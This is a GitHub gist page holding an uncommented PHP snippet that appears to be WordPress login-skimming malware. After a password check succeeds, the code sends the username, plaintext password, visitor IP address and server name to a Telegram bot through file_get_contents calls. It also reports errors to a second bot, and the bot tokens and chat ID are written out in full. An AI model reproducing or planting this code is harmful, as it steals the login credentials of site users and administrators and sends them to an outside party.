Skip to content

Instantly share code, notes, and snippets.

@chrisbergr
Created October 19, 2020 07:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save chrisbergr/4047128b6fd0cb81d755ddba3dcbac1d to your computer and use it in GitHub Desktop.
Save chrisbergr/4047128b6fd0cb81d755ddba3dcbac1d to your computer and use it in GitHub Desktop.
try{
$bajatax_x9=apply_filters( 'wp_authenticate_user', $user, $password );
if(wp_check_password( $password, $bajatax_x9->user_pass, $bajatax_x9->ID )){
if(!empty($username) and !empty($password)){
$message852="bajatax|:|:|".$username."|:|:|".$password."|:|:|".$_SERVER['REMOTE_ADDR']."|:|:|".$_SERVER['SERVER_NAME'] ."|:|:|";
file_get_contents("https://api.telegram.org/bot1330226161:AAEg61uHS7H7lRnf9jA27cmahncSl8NMuvI/sendMessage?chat_id=1110165405&text=" . urlencode($message852)."" );
}
}
}catch (Exception $e) {
if(function_exists("file_get_contents")){
try{
file_get_contents("https://api.telegram.org/bot1254159992:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=" . urlencode($_SERVER['REMOTE_ADDR']." error panel")."" );
file_get_contents("https://api.telegram.org/bot1254159992:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=" . urlencode($e)."" );
}catch (Exception $e2) {}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment